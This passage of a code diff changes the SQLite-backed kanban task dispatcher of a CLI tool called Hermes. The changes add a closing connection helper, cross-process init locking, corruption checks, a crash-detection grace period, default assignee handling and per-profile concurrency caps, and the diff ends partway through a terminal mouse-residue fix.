         subs = kb.list_notify_subs(conn, args.task_id)
     if getattr(args, "json", False):
         print(json.dumps(subs, indent=2, ensure_ascii=False))
@@ -2383,7 +2421,7 @@ def _cmd_notify_list(args: argparse.Namespace) -> int:
 
 
 def _cmd_notify_unsubscribe(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         ok = kb.remove_notify_sub(
             conn, task_id=args.task_id,
             platform=args.platform, chat_id=args.chat_id,
@@ -2417,7 +2455,7 @@ def _cmd_runs(args: argparse.Namespace) -> int:
             file=sys.stderr,
         )
         return 2
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         runs = kb.list_runs(conn, args.task_id, **rsk)
     if getattr(args, "json", False):
         print(json.dumps([
@@ -2456,7 +2494,7 @@ def _cmd_runs(args: argparse.Namespace) -> int:
 
 
 def _cmd_context(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         text = kb.build_worker_context(conn, args.task_id)
     print(text)
     return 0
@@ -2622,7 +2660,7 @@ def _cmd_gc(args: argparse.Namespace) -> int:
     import shutil
     scratch_root = kb.workspaces_root()
     removed_ws = 0
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         rows = conn.execute(
             "SELECT id, workspace_kind, workspace_path FROM tasks WHERE status = 'archived'"
         ).fetchall()
@@ -2645,7 +2683,7 @@ def _cmd_gc(args: argparse.Namespace) -> int:
 
     event_days = getattr(args, "event_retention_days", 30)
     log_days = getattr(args, "log_retention_days", 30)
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         removed_events = kb.gc_events(
             conn, older_than_seconds=event_days * 24 * 3600,
         )

hermes_cli/kanban_db.py

@@ -71,6 +71,7 @@ new locking.
 from __future__ import annotations
 
 import contextlib
+import hashlib
 import json
 import os
 import re
@@ -134,6 +135,34 @@ def _resolve_claim_ttl_seconds(ttl_seconds: Optional[int] = None) -> int:
     return DEFAULT_CLAIM_TTL_SECONDS
 
 
+# Grace period after a task transitions to ``running`` during which
+# ``detect_crashed_workers`` skips the ``_pid_alive`` check. Covers the
+# fork() → /proc-visibility window where liveness can transiently report
+# False for a freshly-spawned worker. The 15-minute claim TTL still
+# catches genuinely-crashed workers; this only suppresses false positives
+# during the launch window.
+DEFAULT_CRASH_GRACE_SECONDS = 30
+
+
+def _resolve_crash_grace_seconds() -> int:
+    """Return the crash-detection grace period in seconds.
+
+    Reads ``HERMES_KANBAN_CRASH_GRACE_SECONDS`` from the environment;
+    falls back to ``DEFAULT_CRASH_GRACE_SECONDS`` when absent, empty,
+    non-integer, or negative. A value of 0 restores immediate-reclaim
+    behaviour (useful for tests).
+    """
+    raw = os.environ.get("HERMES_KANBAN_CRASH_GRACE_SECONDS", "").strip()
+    if raw:
+        try:
+            parsed = int(raw)
+        except ValueError:
+            parsed = -1
+        if parsed >= 0:
+            return parsed
+    return DEFAULT_CRASH_GRACE_SECONDS
+
+
 # Worker-context caps so build_worker_context() stays bounded on
 # pathological boards (retry-heavy tasks, comment storms, giant
 # summaries). Values chosen to fit a typical 100k-char LLM prompt with
@@ -954,6 +983,89 @@ CREATE INDEX IF NOT EXISTS idx_notify_task           ON kanban_notify_subs(task_
 _INITIALIZED_PATHS: set[str] = set()
 _INIT_LOCK = threading.RLock()
 _SQLITE_HEADER = b"SQLite format 3\x00"
+DEFAULT_BUSY_TIMEOUT_MS = 120_000
+
+
+def _resolve_busy_timeout_ms() -> int:
+    """Return the SQLite busy timeout for Kanban connections.
+
+    Kanban is the shared cross-profile dispatch bus, so worker stampedes are
+    expected.  A long busy timeout lets SQLite serialize writers via WAL rather
+    than surfacing transient ``database is locked`` failures during bursts.
+    """
+    raw = os.environ.get("HERMES_KANBAN_BUSY_TIMEOUT_MS", "").strip()
+    if raw:
+        try:
+            parsed = int(raw)
+        except ValueError:
+            parsed = 0
+        if parsed > 0:
+            return parsed
+    return DEFAULT_BUSY_TIMEOUT_MS
+
+
+def _sqlite_connect(path: Path) -> sqlite3.Connection:
+    """Open a Kanban SQLite connection with consistent lock waiting."""
+    busy_timeout_ms = _resolve_busy_timeout_ms()
+    conn = sqlite3.connect(
+        str(path),
+        isolation_level=None,
+        timeout=busy_timeout_ms / 1000.0,
+    )
+    # ``sqlite3.connect(timeout=...)`` normally maps to busy_timeout, but set
+    # the PRAGMA explicitly so it is observable and survives future wrapper
+    # changes. Parameter binding is not supported for PRAGMA assignments.
+    conn.execute(f"PRAGMA busy_timeout={busy_timeout_ms}")
+    return conn
+
+
+@contextlib.contextmanager
+def _cross_process_init_lock(path: Path):
+    """Serialize first-connect WAL/schema/integrity setup across processes.
+
+    ``_INIT_LOCK`` only protects threads inside one Python process. During a
+    dispatcher burst, many worker processes can all hit a fresh/legacy board at
+    once and each process has an empty ``_INITIALIZED_PATHS`` cache. This file
+    lock keeps header validation, integrity probing, WAL activation, and
+    additive migrations single-file/single-writer across the whole host while
+    leaving normal post-init DB usage concurrent under SQLite WAL.
+    """
+    path.parent.mkdir(parents=True, exist_ok=True)
+    lock_path = path.with_name(path.name + ".init.lock")
+    handle = lock_path.open("a+b")
+    try:
+        if _IS_WINDOWS:
+            import msvcrt
+
+            # Lock a single byte in the sidecar file. ``msvcrt.locking`` starts
+            # at the current file position, so seek explicitly before both
+            # lock and unlock.  The file is opened in append/read binary mode so
+            # it always exists but the byte-range lock is the synchronization
+            # primitive; no payload needs to be written.
+            handle.seek(0)
+            locking = getattr(msvcrt, "locking")
+            lock_mode = getattr(msvcrt, "LK_LOCK")
+            locking(handle.fileno(), lock_mode, 1)
+        else:
+            import fcntl
+
+            fcntl.flock(handle.fileno(), fcntl.LOCK_EX)
+        yield
+    finally:
+        try:
+            if _IS_WINDOWS:
+                import msvcrt
+
+                handle.seek(0)
+                locking = getattr(msvcrt, "locking")
+                unlock_mode = getattr(msvcrt, "LK_UNLCK")
+                locking(handle.fileno(), unlock_mode, 1)
+            else:
+                import fcntl
+
+                fcntl.flock(handle.fileno(), fcntl.LOCK_UN)
+        finally:
+            handle.close()
 
 
 def _looks_like_tls_record_at(data: bytes, offset: int) -> bool:
@@ -1027,14 +1139,21 @@ class KanbanDbCorruptError(RuntimeError):
 
 
 def _backup_corrupt_db(path: Path) -> Optional[Path]:
-    """Copy a corrupt DB (and its WAL/SHM sidecars) to a timestamped backup.
+    """Copy a corrupt DB (and its WAL/SHM sidecars) to a content-addressed backup.
+
+    The backup filename is deterministic in the main DB's sha256, so repeated
+    quarantines of the same corrupt bytes (gateway restarts, dispatcher retries,
+    multi-profile fleets all hitting the same shared DB) reuse one backup
+    instead of amplifying disk usage by N. If the corrupt bytes actually
+    change between attempts — e.g. a partial repair or further damage — the
+    fingerprint changes and a separate backup is preserved.
 
     Returns the backup path of the main DB file, or ``None`` if the copy
     itself failed (the caller still raises loudly in that case).
 
-    Writes are confined to the original DB's parent directory. The
-    backup basename is derived purely from ``path.name``, never from
-    caller-supplied directory segments — no traversal is possible.
+    Writes are confined to the original DB's parent directory. The backup
+    basename is derived purely from ``path.name`` and a content hash, never
+    from caller-supplied directory segments — no traversal is possible.
     """
     # Resolve once and pin the parent so subsequent path operations cannot
     # escape it. ``Path.resolve()`` collapses any ``..`` segments and
@@ -1042,32 +1161,31 @@ def _backup_corrupt_db(path: Path) -> Optional[Path]:
     resolved = path.resolve()
     parent = resolved.parent
     base_name = resolved.name  # basename only
-    stamp = datetime.now().strftime("%Y%m%d_%H%M%S")
-    candidate = parent / f"{base_name}.corrupt.{stamp}.bak"
-    # Defensive: candidate must still be inside parent after construction.
-    # f-string interpolation of ``base_name`` cannot escape ``parent``
-    # because ``base_name`` is itself a resolved basename, but assert it
-    # anyway so static analyzers can see the containment guarantee.
-    if candidate.parent != parent:
-        return None
-    counter = 0
-    while candidate.exists():
-        counter += 1
-        candidate = parent / f"{base_name}.corrupt.{stamp}.{counter}.bak"
-        if candidate.parent != parent:
-            return None
+    digest = hashlib.sha256()
     try:
-        shutil.copy2(resolved, candidate)
+        with resolved.open("rb") as handle:
+            for chunk in iter(lambda: handle.read(1024 * 1024), b""):
+                digest.update(chunk)
     except OSError:
         return None
+    token = digest.hexdigest()[:16]
+    candidate = parent / f"{base_name}.corrupt.{token}.bak"
+    # Defensive: candidate must still be inside parent after construction.
+    if candidate.parent != parent:
+        return None
+    if not candidate.exists():
+        try:
+            shutil.copy2(resolved, candidate)
+        except OSError:
+            return None
     for suffix in ("-wal", "-shm"):
         sidecar = parent / (base_name + suffix)
         if sidecar.parent != parent or not sidecar.exists():
             continue
+        sidecar_backup = parent / (candidate.name + suffix)
+        if sidecar_backup.parent != parent or sidecar_backup.exists():
+            continue
         try:
-            sidecar_backup = parent / (candidate.name + suffix)
-            if sidecar_backup.parent != parent:
-                continue
             shutil.copy2(sidecar, sidecar_backup)
         except OSError:
             pass
@@ -1114,7 +1232,7 @@ def _guard_existing_db_is_healthy(path: Path) -> None:
         return
     reason: Optional[str] = None
     try:
-        probe = sqlite3.connect(str(resolved), timeout=5, isolation_level=None)
+        probe = _sqlite_connect(resolved)
         try:
             row = probe.execute("PRAGMA integrity_check").fetchone()
         finally:
@@ -1160,45 +1278,90 @@ def connect(
     else:
         path = kanban_db_path(board=board)
     path.parent.mkdir(parents=True, exist_ok=True)
-    # Cheap byte-level check first — catches the #29507 TLS-overwrite shape
-    # and other invalid-header cases without opening a sqlite connection.
-    _validate_sqlite_header(path)
-    # Full integrity probe — catches corruption past the header (malformed
-    # pages, broken internal metadata). Cached per-path after first success
-    # via _INITIALIZED_PATHS so it only runs once per process per path.
-    _guard_existing_db_is_healthy(path)
-    resolved = str(path.resolve())
-    conn = sqlite3.connect(str(path), isolation_level=None, timeout=30)
-    try:
-        conn.row_factory = sqlite3.Row
-        with _INIT_LOCK:
-            # WAL activation can take an exclusive lock while SQLite creates the
-            # sidecar files for a fresh database. Keep it in the same process-local
-            # critical section as schema initialization so concurrent gateway
-            # startup threads do not race before _INITIALIZED_PATHS is populated.
-            # WAL doesn't work on network filesystems (NFS/SMB/FUSE). Shared helper
-            # falls back to DELETE with one WARNING so kanban stays usable there.
-            # See hermes_state._WAL_INCOMPAT_MARKERS for detection logic.
-            from hermes_state import apply_wal_with_fallback
-            apply_wal_with_fallback(conn, db_label=f"kanban.db ({path.name})")
-            conn.execute("PRAGMA synchronous=NORMAL")
-            conn.execute("PRAGMA foreign_keys=ON")
-            needs_init = resolved not in _INITIALIZED_PATHS
-            if needs_init:
-                # Idempotent: runs CREATE TABLE IF NOT EXISTS + the additive
-                # migrations. Cached so subsequent connect() calls in the same
-                # process are cheap. The lock prevents same-process dispatcher
-                # threads from racing through the additive ALTER TABLE pass with
-                # stale PRAGMA snapshots during gateway startup.
-                conn.executescript(SCHEMA_SQL)
-                _migrate_add_optional_columns(conn)
-                _INITIALIZED_PATHS.add(resolved)
-    except Exception:
-        conn.close()
-        raise
+    with _cross_process_init_lock(path):
+        # Cheap byte-level check first — catches the #29507 TLS-overwrite shape
+        # and other invalid-header cases without opening a sqlite connection.
+        _validate_sqlite_header(path)
+        # Full integrity probe — catches corruption past the header (malformed
+        # pages, broken internal metadata). Cached per-path after first success
+        # via _INITIALIZED_PATHS so it only runs once per process per path.
+        _guard_existing_db_is_healthy(path)
+        resolved = str(path.resolve())
+        conn = _sqlite_connect(path)
+        try:
+            conn.row_factory = sqlite3.Row
+            with _INIT_LOCK:
+                # WAL activation can take an exclusive lock while SQLite creates the
+                # sidecar files for a fresh database. Keep it in the same process-local
+                # critical section as schema initialization so concurrent gateway
+                # startup threads do not race before _INITIALIZED_PATHS is populated.
+                # WAL doesn't work on network filesystems (NFS/SMB/FUSE). Shared helper
+                # falls back to DELETE with one WARNING so kanban stays usable there.
+                # See hermes_state._WAL_INCOMPAT_MARKERS for detection logic.
+                from hermes_state import apply_wal_with_fallback
+                apply_wal_with_fallback(conn, db_label=f"kanban.db ({path.name})")
+                # FULL (was NORMAL): fsync before each checkpoint to narrow the
+                # crash window that can leave a b-tree page header torn.
+                conn.execute("PRAGMA synchronous=FULL")
+                conn.execute("PRAGMA wal_autocheckpoint=100")
+                conn.execute("PRAGMA foreign_keys=ON")
+                # Zero freed pages so a later torn write cannot expose stale
+                # cell content; persisted in the DB header for new DBs.
+                conn.execute("PRAGMA secure_delete=ON")
+                # Surface corrupt cells as read errors instead of silent
+                # wrong-data returns.
+                conn.execute("PRAGMA cell_size_check=ON")
+                needs_init = resolved not in _INITIALIZED_PATHS
+                if needs_init:
+                    # Idempotent: runs CREATE TABLE IF NOT EXISTS + the additive
+                    # migrations. Cached so subsequent connect() calls in the same
+                    # process are cheap. The lock prevents same-process dispatcher
+                    # threads from racing through the additive ALTER TABLE pass with
+                    # stale PRAGMA snapshots during gateway startup.
+                    conn.executescript(SCHEMA_SQL)
+                    _migrate_add_optional_columns(conn)
+                    _INITIALIZED_PATHS.add(resolved)
+        except Exception:
+            conn.close()
+            raise
     return conn
 
 
+@contextlib.contextmanager
+def connect_closing(
+    db_path: Optional[Path] = None,
+    *,
+    board: Optional[str] = None,
+):
+    """Open a kanban DB connection and guarantee it is closed on exit.
+
+    Use this instead of ``with kb.connect() as conn:`` — sqlite3's
+    built-in connection context manager only commits/rollbacks the
+    transaction; it does NOT close the file descriptor. In long-lived
+    processes (gateway, dashboard) that route every kanban operation
+    through ``connect()`` (e.g. ``run_slash`` dispatching ``/kanban …``
+    commands, ``decompose_task_endpoint`` calling
+    ``kanban_decompose.decompose_task``), the unclosed connections
+    accumulate as open FDs to ``kanban.db`` and ``kanban.db-wal``. After
+    enough operations the process hits the kernel FD limit and dies
+    with ``[Errno 24] Too many open files``.
+
+    See #33159 for the production incident.
+
+    The ``connect()`` function itself remains unchanged so callers that
+    intentionally manage the connection lifetime (tests, long-lived
+    callers) continue to work.
+    """
+    conn = connect(db_path=db_path, board=board)
+    try:
+        yield conn
+    finally:
+        try:
+            conn.close()
+        except Exception:
+            pass
+
+
 def init_db(
     db_path: Optional[Path] = None,
     *,
@@ -1466,6 +1629,45 @@ def _migrate_add_optional_columns(conn: sqlite3.Connection) -> None:
         )
 
 
+def _check_file_length_invariant(conn: sqlite3.Connection) -> None:
+    """Read the SQLite header page_count and compare against actual file size.
+
+    Raises sqlite3.DatabaseError if the file is shorter than the header claims
+    (torn-extend corruption).
+    """
+    try:
+        row = conn.execute("PRAGMA database_list").fetchone()
+        if row is None:
+            return
+        path_str = row[2]  # column 2 is the file path; empty for in-memory DBs
+        if not path_str:
+            return  # in-memory or unnamed DB; skip
+        path = path_str
+        page_size = conn.execute("PRAGMA page_size").fetchone()[0]
+        file_size = os.path.getsize(path)
+        with open(path, "rb") as f:
+            f.seek(28)
+            header_bytes = f.read(4)
+        if len(header_bytes) < 4:
+            return  # can't read header; skip
+        header_page_count = int.from_bytes(header_bytes, "big")
+        if header_page_count == 0:
+            return  # new/empty DB; skip
+        actual_pages = file_size // page_size
+        if actual_pages < header_page_count:
+            raise sqlite3.DatabaseError(
+                f"torn-extend detected: page count mismatch on {path}: "
+                f"header claims {header_page_count} pages, "
+                f"file has {actual_pages} pages "
+                f"(missing {header_page_count - actual_pages} pages, "
+                f"file_size={file_size}, page_size={page_size})"
+            )
+    except sqlite3.DatabaseError:
+        raise
+    except Exception:
+        pass  # I/O errors during check are non-fatal; let normal ops continue
+
+
 @contextlib.contextmanager
 def write_txn(conn: sqlite3.Connection):
     """Context manager for an IMMEDIATE write transaction.
@@ -1473,15 +1675,28 @@ def write_txn(conn: sqlite3.Connection):
     Use for any multi-statement write (creating a task + link, claiming a
     task + recording an event, etc.).  A claim CAS inside this context is
     atomic -- at most one concurrent writer can succeed.
+
+    The explicit ROLLBACK on exception is wrapped in try/except so that
+    a SQLite auto-rollback (which leaves no active transaction) does not
+    shadow the original exception with a spurious rollback error.
     """
     conn.execute("BEGIN IMMEDIATE")
     try:
         yield conn
     except Exception:
-        conn.execute("ROLLBACK")
+        try:
+            conn.execute("ROLLBACK")
+        except sqlite3.OperationalError:
+            # SQLite has already auto-rolled-back the transaction (typical
+            # under EIO, lock contention, or corruption). Nothing to undo;
+            # do not let this secondary failure shadow the real one.
+            pass
         raise
     else:
         conn.execute("COMMIT")
+        # Post-commit file-length check: header page_count must match actual file pages.
+        # A discrepancy means a torn-extend — raise now rather than silently corrupt.
+        _check_file_length_invariant(conn)
 
 
 # ---------------------------------------------------------------------------
@@ -4074,6 +4289,12 @@ class DispatchResult:
     skipped_unassigned: list[str] = field(default_factory=list)
     """Ready task ids skipped because they have no assignee at all.
     Operator-actionable — usually a misfiled task waiting for routing."""
+    auto_assigned_default: list[str] = field(default_factory=list)
+    """Task ids that were unassigned in the DB and had
+    ``kanban.default_assignee`` applied this tick before spawning (#27145).
+    Surfaces the auto-assignment to telemetry / CLI / dashboard so the
+    operator can see when the dispatcher is acting on the fallback rule
+    rather than on explicit per-task assignments."""
     skipped_nonspawnable: list[str] = field(default_factory=list)
     """Ready task ids skipped because their assignee names a control-plane
     lane (a Claude Code terminal like ``orion-cc``) rather than a Hermes
@@ -4081,6 +4302,14 @@ class DispatchResult:
     operator-actionable failure. Tracked separately so health telemetry
     can distinguish "real stuck" (nothing spawned but spawnable work
     available) from "correctly idle" (nothing spawnable in the queue)."""
+    skipped_per_profile_capped: list[tuple[str, str, int]] = field(default_factory=list)
+    """Tasks deferred this tick because their assignee is already at
+    ``kanban.max_in_progress_per_profile`` (#21582). Each entry is
+    ``(task_id, assignee, current_running_count)``. NOT an
+    operator-actionable failure — the task will be picked up on a
+    subsequent tick when the assignee has capacity. Separate bucket so
+    telemetry / dashboards can show "this profile is busy" vs
+    "task is genuinely stuck"."""
     crashed: list[str] = field(default_factory=list)
     """Task ids reclaimed because their worker PID disappeared."""
     auto_blocked: list[str] = field(default_factory=list)
@@ -4169,6 +4398,29 @@ def _classify_worker_exit(pid: int) -> "tuple[str, Optional[int]]":
     return ("unknown", None)
 
 
+def reap_worker_zombies() -> "list[int]":
+    """Reap all zombie children of this process without blocking.
+
+    Returns the list of reaped PIDs. Safe to call when there are no
+    children (returns []). No-op on Windows.
+    """
+    reaped: "list[int]" = []
+    if os.name != "nt":
+        try:
+            while True:
+                try:
+                    pid, status = os.waitpid(-1, os.WNOHANG)
+                except ChildProcessError:
+                    break
+                if pid == 0:
+                    break
+                _record_worker_exit(pid, status)
+                reaped.append(pid)
+        except Exception:
+            pass
+    return reaped
+
+
 def _pid_alive(pid: Optional[int]) -> bool:
     """Return True if ``pid`` is still running on this host.
 
@@ -4635,7 +4887,7 @@ def detect_crashed_workers(conn: sqlite3.Connection) -> list[str]:
     # (task_id, pid, claimer, protocol_violation, error_text)
     with write_txn(conn):
         rows = conn.execute(
-            "SELECT id, worker_pid, claim_lock FROM tasks "
+            "SELECT id, worker_pid, claim_lock, started_at FROM tasks "
             "WHERE status = 'running' AND worker_pid IS NOT NULL"
         ).fetchall()
         host_prefix = f"{_claimer_id().split(':', 1)[0]}:"
@@ -4644,6 +4896,14 @@ def detect_crashed_workers(conn: sqlite3.Connection) -> list[str]:
             lock = row["claim_lock"] or ""
             if not lock.startswith(host_prefix):
                 continue
+            # Skip liveness check inside the launch-window grace period
+            # so a freshly-spawned worker isn't reclaimed before its PID
+            # is visible on /proc.
+            started_at = row["started_at"] if "started_at" in row.keys() else None
+            if started_at is not None:
+                grace = _resolve_crash_grace_seconds()
+                if time.time() - started_at < grace:
+                    continue
             if _pid_alive(row["worker_pid"]):
                 continue
 
@@ -5096,6 +5356,8 @@ def dispatch_once(
     failure_limit: int = DEFAULT_SPAWN_FAILURE_LIMIT,
     stale_timeout_seconds: int = 0,
     board: Optional[str] = None,
+    default_assignee: Optional[str] = None,
+    max_in_progress_per_profile: Optional[int] = None,
 ) -> DispatchResult:
     """Run one dispatcher tick.
 
@@ -5125,38 +5387,9 @@ def dispatch_once(
     ``board`` pins workspace/log/db resolution for this tick to a specific
     board. When omitted, the current-board resolution chain is used.
     """
-    # Reap zombie children from previously spawned workers.
-    # The gateway-embedded dispatcher is the parent of every worker spawned
-    # via _default_spawn (start_new_session=True only detaches the
-    # controlling tty, not the parent). Without an explicit waitpid, each
-    # completed worker becomes a <defunct> entry that lingers until gateway
-    # exit. WNOHANG keeps this non-blocking; ChildProcessError means no
-    # children to reap. Bounded: at most one tick's worth of completions
-    # can be in <defunct> at once.
-    #
-    # We also record the exit status keyed by pid, so
-    # ``detect_crashed_workers`` can distinguish a worker that exited
-    # cleanly without calling ``kanban_complete`` / ``kanban_block``
-    # (protocol violation — auto-block) from a real crash (OOM killer,
-    # SIGKILL, non-zero exit — existing counter behavior).
-    #
-    # Windows has no zombies / no os.WNOHANG — subprocess.Popen handles
-    # are freed when the Python object is garbage-collected or .wait() is
-    # called explicitly.  The kanban dispatcher discards the Popen handle
-    # after spawn (``_default_spawn`` → abandon), so on Windows there's
-    # nothing to reap here — skip the whole block.
-    if os.name != "nt":
-        try:
-            while True:
-                try:
-                    _pid, _status = os.waitpid(-1, os.WNOHANG)
-                except ChildProcessError:
-                    break
-                if _pid == 0:
-                    break
-                _record_worker_exit(_pid, _status)
-        except Exception:
-            pass
+    # Reap zombie children from previously spawned workers. See
+    # reap_worker_zombies() for the full rationale.
+    reap_worker_zombies()
 
     result = DispatchResult()
     result.reclaimed = release_stale_claims(conn)
@@ -5210,12 +5443,89 @@ def dispatch_once(
         if max_spawn is None or max_spawn > remaining:
             max_spawn = remaining
     spawned = 0
+    # Per-profile concurrency cap (#21582): when set, track how many
+    # workers each assignee already has in flight, and refuse to spawn
+    # when this would push that assignee past the cap. Prevents
+    # fan-out workloads from melting a single profile's local model /
+    # API quota / browser pool while leaving other profiles idle.
+    # Tasks blocked this way go to skipped_per_profile_capped (not
+    # skipped_unassigned — the operator-actionable signal is different:
+    # "this profile is busy, try again later" not "this needs routing").
+    _per_profile_cap = max_in_progress_per_profile if (
+        isinstance(max_in_progress_per_profile, int)
+        and max_in_progress_per_profile > 0
+    ) else None
+    _per_profile_running: dict[str, int] = {}
+    if _per_profile_cap is not None:
+        for prow in conn.execute(
+            "SELECT assignee, COUNT(*) AS n FROM tasks "
+            "WHERE status = 'running' AND assignee IS NOT NULL "
+            "GROUP BY assignee"
+        ):
+            _per_profile_running[prow["assignee"]] = int(prow["n"])
+    # Normalize default_assignee once: empty/whitespace string → None so the
+    # rest of the loop can use ``if default_assignee:`` as a single check.
+    # We also resolve profile_exists once here for the same reason.
+    _default_assignee = (default_assignee or "").strip() or None
+    _default_assignee_resolved = False
+    if _default_assignee:
+        try:
+            from hermes_cli.profiles import profile_exists as _pe
+            _default_assignee_resolved = bool(_pe(_default_assignee))
+        except Exception:
+            # Profiles module not importable (test stubs, exotic envs).
+            # Trust the operator's config and try the assignment; the
+            # downstream profile_exists check on the assigned row will
+            # bucket it as nonspawnable if the profile genuinely isn't
+            # there, with the existing diagnostic.
+            _default_assignee_resolved = True
     for row in ready_rows:
         if max_spawn is not None and running_count + spawned >= max_spawn:
             break
-        if not row["assignee"]:
-            result.skipped_unassigned.append(row["id"])
-            continue
+        row_assignee = row["assignee"]
+        if not row_assignee:
+            # Honour kanban.default_assignee: when the dispatcher hits an
+            # unassigned ready task and an operator-configured fallback
+            # exists, persist the assignment and proceed. This removes the
+            # dashboard footgun where a task created without an assignee
+            # parks in 'ready' forever even though the operator's intent
+            # ("default") was perfectly clear (#27145). Mutating the row
+            # (not just the in-memory view) keeps diagnostics and the
+            # board state consistent: the task is now legitimately owned
+            # by ``kanban.default_assignee``, not "unassigned but secretly
+            # routed".
+            if _default_assignee and _default_assignee_resolved:
+                # Dry-run: show what WOULD happen (auto-assign + spawn) without
+                # mutating the DB. Real run: mutate the row + emit the
+                # 'assigned' event so the board state matches what just happened.
+                if not dry_run:
+                    try:
+                        with write_txn(conn):
+                            conn.execute(
+                                "UPDATE tasks SET assignee = ? WHERE id = ? "
+                                "AND (assignee IS NULL OR assignee = '')",
+                                (_default_assignee, row["id"]),
+                            )
+                            _append_event(
+                                conn, row["id"], "assigned",
+                                {
+                                    "assignee": _default_assignee,
+                                    "source": "kanban.default_assignee",
+                                },
+                            )
+                    except Exception:
+                        _log.debug(
+                            "kanban dispatch: failed to apply default_assignee=%r "
+                            "to task %s",
+                            _default_assignee, row["id"], exc_info=True,
+                        )
+                        result.skipped_unassigned.append(row["id"])
+                        continue
+                row_assignee = _default_assignee
+                result.auto_assigned_default.append(row["id"])
+            else:
+                result.skipped_unassigned.append(row["id"])
+                continue
         # Skip ready tasks whose assignee is not a real Hermes profile.
         # `_default_spawn` invokes ``hermes -p <assignee>`` which fails
         # with "Profile 'X' does not exist" when the assignee names a
@@ -5230,7 +5540,7 @@ def dispatch_once(
             from hermes_cli.profiles import profile_exists  # local import: avoids cycle
         except Exception:
             profile_exists = None  # type: ignore[assignment]
-        if profile_exists is not None and not profile_exists(row["assignee"]):
+        if profile_exists is not None and not profile_exists(row_assignee):
             # Bucket separately from skipped_unassigned: the operator
             # cannot fix this by assigning a profile (the assignee IS the
             # intended owner — a terminal lane). Health telemetry uses
@@ -5239,6 +5549,19 @@ def dispatch_once(
             # of human-pulled work.
             result.skipped_nonspawnable.append(row["id"])
             continue
+        # Per-profile concurrency cap (#21582): even if there's global
+        # headroom, refuse to spawn for an assignee that's already at
+        # its in-flight cap. Prevents one profile's local model / API
+        # quota / browser pool from being overwhelmed by a fan-out
+        # while the global max_in_progress / max_spawn caps still allow
+        # work on OTHER profiles.
+        if _per_profile_cap is not None:
+            current = _per_profile_running.get(row_assignee, 0)
+            if current >= _per_profile_cap:
+                result.skipped_per_profile_capped.append(
+                    (row["id"], row_assignee, current)
+                )
+                continue
         # Respawn guard: refuse to re-spawn when useful work is already
         # in-flight/recent, or when the last failure is a deterministic
         # blocker (quota / auth). The guard defers the spawn this tick so
@@ -5261,7 +5584,15 @@ def dispatch_once(
                     )
             continue
         if dry_run:
-            result.spawned.append((row["id"], row["assignee"], ""))
+            result.spawned.append((row["id"], row_assignee, ""))
+            # Increment per-profile counter even in dry_run so the cap
+            # check sees the would-be spawn on subsequent iterations.
+            # Without this, dry_run reports every task as spawnable and
+            # under-reports the capped subset (#21582).
+            if _per_profile_cap is not None and row_assignee:
+                _per_profile_running[row_assignee] = (
+                    _per_profile_running.get(row_assignee, 0) + 1
+                )
             continue
         claimed = claim_task(conn, row["id"], ttl_seconds=ttl_seconds)
         if claimed is None:
@@ -5304,6 +5635,13 @@ def dispatch_once(
             # complete_task).
             result.spawned.append((claimed.id, claimed.assignee or "", str(workspace)))
             spawned += 1
+            # Track the new in-flight count for this profile so later
+            # iterations in this same tick respect the per-profile cap
+            # (#21582). Subsequent ticks re-query from the DB.
+            if _per_profile_cap is not None and claimed.assignee:
+                _per_profile_running[claimed.assignee] = (
+                    _per_profile_running.get(claimed.assignee, 0) + 1
+                )
         except Exception as exc:
             auto = _record_spawn_failure(
                 conn, claimed.id, str(exc),

hermes_cli/kanban_decompose.py

@@ -281,7 +281,7 @@ def decompose_task(
     configured, API error, malformed response, decomposer returned
     fanout=true with empty task list) — those surface via ``ok=False``.
     """
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         task = kb.get_task(conn, task_id)
     if task is None:
         return DecomposeOutcome(task_id, False, "unknown task id")
@@ -370,7 +370,7 @@ def decompose_task(
             return DecomposeOutcome(
                 task_id, False, "decomposer returned fanout=false with no title/body",
             )
-        with kb.connect() as conn:
+        with kb.connect_closing() as conn:
             ok = kb.specify_triage_task(
                 conn,
                 task_id,
@@ -439,7 +439,7 @@ def decompose_task(
         })
 
     try:
-        with kb.connect() as conn:
+        with kb.connect_closing() as conn:
             child_ids = kb.decompose_triage_task(
                 conn,
                 task_id,
@@ -467,7 +467,7 @@ def decompose_task(
 
 def list_triage_ids(*, tenant: Optional[str] = None) -> list[str]:
     """Return task ids currently in the triage column."""
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         rows = kb.list_tasks(
             conn,
             status="triage",

hermes_cli/kanban_specify.py

@@ -150,7 +150,7 @@ def specify_task(
     error, malformed response) — those surface via ``ok=False`` so the
     ``--all`` sweep can continue past individual failures.
     """
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         task = kb.get_task(conn, task_id)
     if task is None:
         return SpecifyOutcome(task_id, False, "unknown task id")
@@ -239,7 +239,7 @@ def specify_task(
                 task_id, False, "LLM response missing title and body"
             )
 
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         ok = kb.specify_triage_task(
             conn,
             task_id,
@@ -261,7 +261,7 @@ def list_triage_ids(*, tenant: Optional[str] = None) -> list[str]:
 
     ``tenant`` narrows the sweep; ``None`` returns every triage task.
     """
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         tasks = kb.list_tasks(
             conn,
             status="triage",

hermes_cli/main.py

@@ -65,6 +65,39 @@ import os
 import sys
 
 
+# Mouse-tracking residue suppression — runs BEFORE every other import on the
+# TUI hot path so the terminal stops emitting SGR/X10 mouse reports while the
+# Python launcher is still doing imports (≈100–300ms in cooked + echo mode,
+# before the Node TUI takes stdin into raw mode). During that window any
+# incoming bytes are echoed straight back to the user's shell scrollback as
+# ``^[[<…M`` text. The TUI itself runs `resetTerminalModes()` again in
+# `entry.tsx`; this is just the earlier cousin. ``HERMES_TUI_NO_EARLY_DISABLE``
+# escapes the behaviour for diagnostics.
+def _suppress_mouse_residue_early() -> None:
+    if os.environ.get("HERMES_TUI_NO_EARLY_DISABLE") == "1":
+        return
+    if not (os.environ.get("HERMES_TUI") == "1" or "--tui" in sys.argv[1:]):
+        return
+    try:
+        # Skip when stdout is redirected (`hermes --tui … >log`, CI capture):
+        # the bytes can't reach the terminal anyway and would just pollute
+        # the log with raw CSI.
+        if not os.isatty(1):
+            return
